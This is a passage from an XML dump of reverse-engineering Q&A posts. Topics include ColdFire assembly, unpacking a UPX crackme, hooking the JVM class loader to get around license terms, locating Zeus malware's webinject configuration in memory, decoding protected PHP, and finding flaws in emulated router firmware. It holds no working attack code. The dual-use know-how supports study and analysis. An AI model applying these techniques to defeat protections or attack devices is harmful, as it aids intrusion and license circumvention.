these the possibilities based on some processor states that I haven't found out about yet?  (This appears to be setting up the stack for a function call.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next question I have about the sequence is the second instruction, &lt;code&gt;move.l a2, -(sp)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be moving a &lt;code&gt;longword&lt;/code&gt; from a2 into the stack pointer, HOWEVER the negation looks odd to me.  It appears to be &quot;move address in a2 into SP and then multiply its value by -1&quot; but I could also see the parenthesis being used as specifying an order of operations to be applied to the address.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2015-06-18T00:02:16.067" Title="Understanding Motorola ColdFire instructions." Tags="|ida|motorola|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8264" PostTypeId="2" ParentId="8263" CreationDate="2015-02-17T21:24:39.413" Score="1" Body="&lt;p&gt;Answer to the &lt;code&gt;LINK&lt;/code&gt; question was provided on page 119 &lt;a href=&quot;http://www.freescale.com/files/dsp/doc/ref_manual/CFPRM.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pre/Post decrement operations are described on page 44.&lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2015-02-17T21:24:39.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8265" PostTypeId="1" CreationDate="2015-02-17T21:32:37.250" Score="3" ViewCount="196" Body="&lt;p&gt;I loaded a file into OllyDbg, and on my Windows 8, I see offsets of this format '7780XXXX':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7780DE50&#xA;7780DE52&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my XP machine it goes like this &lt;code&gt;0041XXXX&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004171A2&#xA;004171A4&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is there a difference in the format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help me understand, and thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="11778" LastEditorUserId="4437" LastEditDate="2015-04-21T11:36:42.300" LastActivityDate="2015-04-21T11:36:42.300" Title="Different offsets in different Windows versions" Tags="|windows|ollydbg|windows-8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8267" PostTypeId="2" ParentId="2143" CreationDate="2015-02-17T23:08:07.683" Score="4" Body="&lt;p&gt;Petteri Aimonen has figured out &lt;a href=&quot;http://essentialscrap.com/eink/&quot; rel=&quot;nofollow&quot;&gt;how to drive the panel&lt;/a&gt; and &lt;a href=&quot;http://spritesmods.com/?art=einkdisplay&quot; rel=&quot;nofollow&quot;&gt;Sprite_tm made a wireless display out of one&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-02-17T23:08:07.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8268" PostTypeId="1" AcceptedAnswerId="8319" CreationDate="2015-02-18T07:47:09.870" Score="7" ViewCount="51239" Body="&lt;p&gt;I've decided to reverse &lt;a href=&quot;https://mega.co.nz/#!iEpDETIY!h0xZgdQ7etqJBUupq-yIcglj79aQcs-fQnRW898n4Wc&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; crackme. Obviously it's packed. I was told by PeID that there is only UPX inside. Ok, but &lt;code&gt;upx -d&lt;/code&gt; simple crashed that's why I've concluded that this UPX may be scrambled somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XEm04.png&quot; alt=&quot;IDA warning&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binary didn't run properly in debugger(windbg) for unpacking it so I've dumped exe from working process and tried to fix imports. Maybe I should have tried Olly with plugins? However IDA still warns me that some imports might be destroyed(see picture). My question is: did I unpacked it correctly? If no what else should I do to unpack it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#!OU4X1a4Y!00wN9c72-4nRtNgF5t7ZdGLxDzjYE9G6CNakblHBUOs&quot; rel=&quot;noreferrer&quot;&gt;Unpacked&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4609" LastActivityDate="2020-09-15T18:00:53.840" Title="Unpacking UPX packed (possibly scrambled) executable" Tags="|unpacking|upx|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8269" PostTypeId="1" CreationDate="2015-02-18T07:48:25.890" Score="3" ViewCount="670" Body="&lt;p&gt;According to Wikipedia, there are 3 class loaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Boot Class-Loader which loads everything in RT.jar and /../jre/lib&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the extensions class loader and the system class loader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm only interested in the Boot class loader because I want to hook it and redefine a class in RT.jar without all the legality issues that come with &lt;code&gt;-Xbootclasspath:/p&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs: &lt;a href=&quot;http://docs.oracle.com/cd/E13150_01/jrockit_jvm/jrockit/jrdocs/refman/optionX.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.oracle.com/cd/E13150_01/jrockit_jvm/jrockit/jrdocs/refman/optionX.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: Applications that use this option to override a class in rt.jar&#xA;  should not be deployed. Doing so would contravene the Java 2 Runtime&#xA;  Environment binary code license.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the license here: &lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/downloads/jre-6u21-license-159054.txt&quot; rel=&quot;nofollow&quot;&gt;http://www.oracle.com/technetwork/java/javase/downloads/jre-6u21-license-159054.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C.  Java  Technology  Restrictions.  You may not  create,  modify,  or&#xA;  change the behavior of, or authorize your licensees to create, modify,&#xA;  or change the behavior of, classes,  interfaces, or  subpackages  that&#xA;  are in any  way  identified  as  &quot;java&quot;,  &quot;javax&quot;,  &quot;sun&quot;  or  similar&#xA;  convention   as   specified   by  Oracle  in  any  naming   convention&#xA;  designation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I'm thinking that if I can hook the boot class loader from native code via C++, I can replace a class in by hooking the &lt;code&gt;JVM_DefineClass&lt;/code&gt; function from &lt;code&gt;JVM.dll&lt;/code&gt; without any legal trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function has the signature: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JNIEXPORT jclass JNICALL JVM_DefineClass(JNIEnv *env, const char *name, jobject _loader, const jbyte *buf, jsize len, jobject pd)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1: Does this function actually get call when a JVM is starting up?&lt;/li&gt;&#xA;&lt;li&gt;2: Would I still be breaking the license if I hook it?&lt;/li&gt;&#xA;&lt;li&gt;3: Am I hooking the right function or should I be doing something else(better method maybe?)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11780" LastActivityDate="2015-02-18T07:48:25.890" Title="Hooking the BootClassLoader" Tags="|c++|java|winapi|function-hooking|" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-21T09:40:56.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="8270" PostTypeId="2" ParentId="8268" CreationDate="2015-02-18T10:24:45.223" Score="4" Body="&lt;p&gt;You should try to unpack it manually and reconstruct the IAT. With UPX, it should be pretty straightforward. Here is a tutorial in case you don't know how to start : &lt;a href=&quot;https://web.archive.org/web/20080529124107/http://writequit.org/blog/?p=165&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://web.archive.org/web/20080529124107/http://writequit.org/blog/?p=165&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8679" LastEditorUserId="16162" LastEditDate="2020-09-15T18:00:53.840" LastActivityDate="2020-09-15T18:00:53.840" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8271" PostTypeId="1" AcceptedAnswerId="8779" CreationDate="2015-02-18T10:39:56.333" Score="2" ViewCount="848" Body="&lt;p&gt;I'm doing some study on Zeus 2.x, trying to wrap my head around how it works. By using &lt;a href=&quot;https://github.com/Visgean/Zeus&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt;. I've built my own builder to work on my test environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right know I want to do a very specific thing, which is extracting from memory the webinjects configuration. The first experiments I did was to attach to IExplorer and monitor calls to functions I know Zeus hooks, like &lt;code&gt;HttpSendRequest*&lt;/code&gt;. I was expecting that at some point while stepping through those executions I'd see the injections configuration loaded into memory. I've tried to automate the proccess setting a breakpoint upon call of this function and using OllyDbg's Memory Watch plugin, which dumps every string it encounters.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So now I want to pinpoint and understand exactly where should I look to see this decrypted configuration in memory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My assumptions so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm unable to see anything strange because the &lt;code&gt;HttpSendRequestX&lt;/code&gt; function I'm setting a breakpoint is actually the original, unchanged from Wininet;&lt;/li&gt;&#xA;&lt;li&gt;Dumping memory of the machine and analysing it offline is not enough, since the structure which holds the webinjects (BinStorage) is loaded in memory when it's needed and then discarded (free'd) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At this point I was thinking to monitor calls to &lt;code&gt;VirtualAlloc&lt;/code&gt; and place a breakpoint on memory write on those newly allocated areas (at some point Zeus is bound to place there the encrypted configuration and then decrypt it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is still a long shot. Any ideas? Also I'm doing most of this work by attaching on &lt;code&gt;IExplore.exe&lt;/code&gt;, should I do it on &lt;code&gt;explorer.exe&lt;/code&gt; instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips are appreciated !&lt;/p&gt;&#xA;" OwnerUserId="11781" LastEditorUserId="53" LastEditDate="2015-02-18T15:26:19.777" LastActivityDate="2015-04-28T18:00:16.127" Title="Studying Zeus 2.X" Tags="|disassembly|windows|ollydbg|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8272" PostTypeId="1" AcceptedAnswerId="8274" CreationDate="2015-02-18T01:05:35.093" Score="1" ViewCount="1388" Body="&lt;p&gt;Well I'm unsure if this is the correct site to use but how would I go about decoding/decrypting PHP code which is encoded/encrypted using eAccelerator?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;session_start();&#xA;?&amp;gt;&#xA;&amp;lt;?php /*This encoded file was generated using PHPCoder (http://phpcoder.sourceforge.net/) and eAccelerator (http://eaccelerator.sourceforge.net/)*/ if (!is_callable(&quot;eaccelerator_load&quot;) &amp;amp;&amp;amp; !@dl(&quot;eAccelerator.so&quot;)) { die(&quot;This PHP script has been encoded using the excellent eAccelerator Optimizer, to run it you must install &amp;lt;a href=\&quot;http://eaccelerator.sourceforge.net/\&quot;&amp;gt;eAccelerator or the eLoader&amp;lt;/a&amp;gt;&quot;); }eaccelerator_load('[encoded data, 9892 characters]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11784" OwnerDisplayName="Mathias Sjöberg" LastEditorUserId="1854" LastEditDate="2015-02-18T15:17:05.317" LastActivityDate="2015-02-18T20:44:27.457" Title="Decoding eAccelerator PHP code?" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8273" PostTypeId="2" ParentId="8202" CreationDate="2015-02-18T13:44:38.027" Score="2" Body="&lt;p&gt;I found a &lt;a href=&quot;https://zairon.wordpress.com/2015/02/17/ctb-locker-encryptiondecryption-scheme-in-details/&quot; rel=&quot;nofollow&quot;&gt;full analysis of the cipher algorithm of CTB-Locker&lt;/a&gt; performed by &lt;a href=&quot;https://zairon.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Zairon&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;He's not really optimistic about the possibility to cryptanalyse the files as the first paragraph of the blog post is the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After my last post about CTB-Locker I received a lot of e-mails from people asking for a complete analysis of the malware. Most of them wanted to know if it’s possible to restore the compromised files without paying the ransom. The answer is simple: it’s impossible without knowing the Master key! That key resides on the malicious server and it’s the only way to restore every single compromised file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And, follow a full analysis of the encryption scheme of CTB-Locker. A good reading for anybody wants to know more about it !&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://zairon.wordpress.com/2015/02/17/ctb-locker-encryptiondecryption-scheme-in-details/&quot; rel=&quot;nofollow&quot;&gt;CTB-Locker encryption/decryption scheme in details&lt;/a&gt;, by Zairon, February 17, 2015.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-02-18T13:44:38.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8274" PostTypeId="2" ParentId="8272" CreationDate="2015-02-18T14:36:20.943" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how would I go about decoding/decrypting PHP code which is&#xA;  encoded/encrypted using eAccelerator?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would have to reverse engineer the &lt;code&gt;eaccelerator_load()&lt;/code&gt; function in eAccelerator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://article.gmane.org/gmane.comp.php.eaccelerator.devel/381&quot; rel=&quot;nofollow&quot;&gt;Note that this function only exists in older versions of eAccelerator.&lt;/a&gt; For example, see here for the function as it existed in version 0.9.4: &lt;a href=&quot;https://github.com/eaccelerator/eaccelerator/blob/e48010887b429a203bf03c7562e30a4d2bfa07d3/loader.c&quot; rel=&quot;nofollow&quot;&gt;https://github.com/eaccelerator/eaccelerator/blob/e48010887b429a203bf03c7562e30a4d2bfa07d3/loader.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing the loader does is &lt;code&gt;base64_decode()&lt;/code&gt; and &lt;code&gt;gzuncompress()&lt;/code&gt; the string. You can see the (mostly plaintext) result of that here: &lt;a href=&quot;http://ddecode.com/phpdecoder/?results=744654407d52841255a5b54c1d5b402d&quot; rel=&quot;nofollow&quot;&gt;http://ddecode.com/phpdecoder/?results=744654407d52841255a5b54c1d5b402d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like restoring that to more readable code will take a bit more work with analyzing the &lt;code&gt;eaccelerator_load()&lt;/code&gt; function, but I'm sure you'll be up to the task :)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-02-18T20:44:27.457" LastActivityDate="2015-02-18T20:44:27.457" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8277" PostTypeId="1" AcceptedAnswerId="8278" CreationDate="2015-02-18T20:51:38.060" Score="2" ViewCount="1449" Body="&lt;p&gt;i created an android app(simple cocos2d-x project) that in this project i have  a method that takes a string and then render it, in initialize state of my app i pass the &quot;abcde&quot; as parameter to this method. This works fine in windows and android devices.&#xA;but when i open SO file that placed in apk and edit any of character of &quot;abcde&quot; string and then replace so file with older so in apk file, the apk does't install on android devices.&#xA;I get this error when trying to install the apk : application not installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone can explain me why this happen??&lt;/p&gt;&#xA;" OwnerUserId="11788" LastActivityDate="2015-02-18T21:15:15.130" Title="Changing .SO files in android cause to damage the apk" Tags="|android|decompile|" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-20T16:28:42.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="8278" PostTypeId="2" ParentId="8277" CreationDate="2015-02-18T21:15:15.130" Score="3" Body="&lt;p&gt;Android APKs are signed to ensure the developer (holder of the private key) is the only person who can update the application. When the apk is signed, much like that of a jar file, hashes are taken of all the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is likely happening is that you are modifying a file and not resigning the application - this will cause the package manager to reset due to hash mismatches when checking the signatures.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2015-02-18T21:15:15.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8279" PostTypeId="1" CreationDate="2015-02-18T23:08:56.667" Score="1" ViewCount="76" Body="&lt;p&gt;I'm trying to RE a program which has a limit of &lt;em&gt;n&lt;/em&gt; iterations.&#xA;I already found the &lt;em&gt;interesting&lt;/em&gt; part in the disasembled code with static analysis and analysis with the local win32 debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be a correlation between being BELOW / ABOVE the limit&#xA;and a number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I'm below the limit the value is set to 1.0. &#xA;If I go above the limit of the value keeps being 0.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A mouseover tells me the &quot;magic&quot; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qzVGf.png&quot; alt=&quot;mouse over during debug&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I would like to find out WHAT writes to that address. My idea was to set a write-trace on it - but see no. 2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I cannot find the value in memory.&#xA;Right click -&gt; &quot;jump in new window&quot; leads me to &lt;code&gt;0x0072EB88&lt;/code&gt;&#xA;&lt;strong&gt;The stored value there is 0 altrough IDA is showing me a 1.0 (see first image)&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nG5mp.png&quot; alt=&quot;stored value&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Manual check&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ESP = &lt;code&gt;0x0072EB40&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_838 = &lt;code&gt;-0x838&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H75m0.png&quot; alt=&quot;ESP address&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;putting it all together: &#xA;&lt;code&gt;0x0072EB40&lt;/code&gt; + &lt;code&gt;0x880&lt;/code&gt; - &lt;code&gt;0x838&lt;/code&gt; =&gt; &lt;code&gt;0x0072EB88&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me out please and tell me what my error is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11766" LastEditorUserId="11766" LastEditDate="2015-02-19T09:39:34.760" LastActivityDate="2015-02-19T09:39:34.760" Title="IDA: Inconsistency between mouse-over value and stored value?" Tags="|ida|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8280" PostTypeId="1" CreationDate="2015-02-19T04:25:05.780" Score="1" ViewCount="108" Body="&lt;p&gt;Here's my situation: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hate firewalls, load balancers, routers etc... want to root em all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I can't &lt;em&gt;buy&lt;/em&gt; em all, and a lot of people think that it's dumb to buy them anyway. Why? So the common wisdom goes, they all run some kind of linux, so just analyse linux for some flaws. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;People even say that testing against snort is as good as testing against a Cisco IDS device that might run snort or something like it....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's what I want to do: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to at least recreate the hardware conditions of a network device, and match that up to firmware and a pre-flashed device? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Objective Question&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about about ensuring that the hardware environment I create with a virtual machine accurately mimics the real deal so that I might reverse engineer the system (using dynamic analysis to find binary flaw)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extra questions in case you decide to give me advice&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I making this a more complicated problem than it needs to be? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be objectively proven? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately is it preferable to RE the physical device? &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2015-02-19T13:56:06.790" Title="How to accurately virtualize bespoke hardware?" Tags="|hardware|virtualizers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8281" PostTypeId="2" ParentId="8221" CreationDate="2015-02-19T09:33:28.153" Score="0" Body="&lt;p&gt;For a short answer to this, what i will do is check for loops than inside these loops will check if there is any memory read write operation, you have to make a generic signature for that, find the variable that is increasing the address where the memory is been copied, and check that for any bound conditions then these conditions can be compared to signature to check whether it apply boundary checka or not.&lt;/p&gt;&#xA;" OwnerUserId="10244" LastActivityDate="2015-02-19T09:33:28.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8283" PostTypeId="2" ParentId="8241" CreationDate="2015-02-19T09:47:24.180" Score="0" Body="&lt;p&gt;Its just a technique to embed strings in the exploit, as u can define them in a regular fashion, as u need their address to access them but in an exploit these addresses are dynamic not static or constants.&lt;/p&gt;&#xA;" OwnerUserId="10244" LastActivityDate="2015-02-19T09:47:24.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8284" PostTypeId="2" ParentId="8044" CreationDate="2015-02-19T12:08:27.497" Score="1" Body="&lt;p&gt;I can't comment due to reputation, so I will post it here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the job is done correctly with the use of apktool, it seems to me that something is going wrong with the zip process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After repackaging the app, can you verify that the contents of the new APK are identical (as far as file names and structure is concerned) with the contents of the original one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: also, since the file is a .dex file, I don't think that you need the -x option in baksmali.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: When repackaging, you don't need to include the META-INF directory in the zip file. It will be created when signing the file.&lt;/p&gt;&#xA;" OwnerUserId="11481" LastEditorUserId="11481" LastEditDate="2015-02-19T13:33:58.163" LastActivityDate="2015-02-19T13:33:58.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8285" PostTypeId="2" ParentId="8280" CreationDate="2015-02-19T13:56:06.790" Score="3" Body="&lt;p&gt;First, note that most industrial-strength networking devices don't use Linux. If they did, mosts parts of the software would have to be provided in source code to comply with GPL requirements. So while your $100 Linksys router might use Linux, your $3000 Cisco router won't, and it won't be running snort either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Cisco's IDS and Snort might have several ideas in common, and &lt;em&gt;maybe&lt;/em&gt; the IDS devs even copied a dozen of lines of code from Snort, but testing against snort to find vectors of attack against IDS is quite silly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most routers use some kind of MIPS, or ARM, processor. However, the IP of them is sublicensed to different hardware fabs, and the processor in your router might have some enhancements to the &quot;official&quot; versions. Maybe they added some silicon to enhance DMA transfers to route network packets faster. Maybe they added a hardware TCP checksum generator. Your MIPS QEMU / ARM QEMU processor won't know about those, so your emulation just won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, even if you knew your router is running linux, and even if you knew about a linux bug, you couldn't be sure if this particular bug is exploitable on your particular hardware. &lt;a href=&quot;http://en.wikipedia.org/wiki/Shellshock_%28software_bug%29&quot; rel=&quot;nofollow&quot;&gt;Shellshock&lt;/a&gt; requires bash; it won't hurt busybox shell, and even if your router uses bash (unlikely), it might be a stripped-down version. You have to run the linux kernel from the official firmware, and the tools from your official firmware, on an emulated processor that fits your actual hardware, to check if your bug is exploitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, chances are the official kernel won't even boot. The kernel will, at some point, try to read some configuration values from non-volatile storage. This might be a specialized chip on an I2C bus. Your emulation will have to emulate that I2C bus at the correct hardware addresses. But you don't know how to do this unless you've reversed the hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kernel will initialize each of the router ports. Which, again, means it will access specific hardware in a specific way. If it doesn't find the router ports, it will probably turn on a red 'hardware error' LED and enter an endless loop. So if you don't emulate the router ports, your kernel won't boot, and unless you emulate the LED, you won't even know why. Again, you need hardware information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last, knowing details about the hardware might help you exploit something. Assume each of the router ports has a corresponding /dev/portXX device, that accepts &lt;code&gt;ioctl&lt;/code&gt;s to set bitrate, duplex, and similar parameters. Assume all those /dev/portXX devices had the same major id, and minor ids from 0 to 31. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the port driver uses the minor id to calculate a hardware address, and doesn't sanity-check the minor id first. Creating a device node with a minor id between 32 and 255 might allow you to write to hardware registers after the ethernet ports, that have different meanings. Maybe the ports use addresses 0x8000000 to 0x8000001f, and 0x80000040 is the address of the configuration cmos. Creating /dev/port64 with a minor ID of 64 might allow you to use the port ioctl to read/write the cmos. However, you will never find that vulerability unless you have definite, deep knowledge about the hardware.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-02-19T13:56:06.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8286" PostTypeId="2" ParentId="3919" CreationDate="2015-02-19T14:31:33.857" Score="6" Body="&lt;p&gt;First a thought regarding the volumes that don't seem to line up.  The &lt;a href=&quot;http://www.chapmanconsulting.ca/post/2007/12/02/Hacking-the-Tassimo-Part-2-Breaking-the-Code.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;first  link in the Q&lt;/a&gt; discusses purge and charge sections - these will contribute to the volume and it's possible that the table of volumes assumes some contribution from these processes that may not be the minimum&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second - some more data for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a water dispenser disc (it replaces the output spout so it's not very useful; I use a washed-out Suchard chocolate disc for water).  The water disc has 4 selectable barcodes for 4 different volumes (150, 250, 350 and 450 ml).  I can't get &lt;em&gt;anything&lt;/em&gt; online or android to actually read the stupid things though.  I can post a scan if anyone's interested, and I'll keep trying, but &lt;em&gt;it doesn't look like it's got the start code according to &lt;a href=&quot;https://en.wikipedia.org/wiki/Interleaved_2_of_5&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: scanned water dispenser disc&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/K5Pxe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K5Pxem.jpg&quot; alt=&quot;Hot water T-disc&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, over summer the UK website was giving away overlays to make the normal drinks with cold water.  I haven't tested them, but they also don't fit the ITF spec according to wikipedia.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;╔═════════════╦════════════════════════╦════════════╦══════════════════════════╗&#xA;║ Barcode     ║ Product                ║ Output, ml ║ Binary (excl first/last) ║&#xA;╠═════════════╬════════════════════════╬════════════╬══════════════════════════╣&#xA;║   ??????    ║ Water                  ║ 150        ║                          ║&#xA;║   ??????    ║ Water                  ║ 250        ║                          ║&#xA;║ 0 690872 6  ║ Water                  ║ 350        ║ 1010 1000 1010 1011 1000 ║&#xA;║ 0 191694 6  ║ Water                  ║ 450        ║ 0010 1110 1100 1100 1110 ║&#xA;╚═════════════╩════════════════════════╩════════════╩══════════════════════════╝&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above barcodes were read with Barcode Scanner for Android.&lt;/p&gt;&#xA;" OwnerUserId="11794" LastEditorUserId="1641" LastEditDate="2017-12-06T12:46:18.430" LastActivityDate="2017-12-06T12:46:18.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
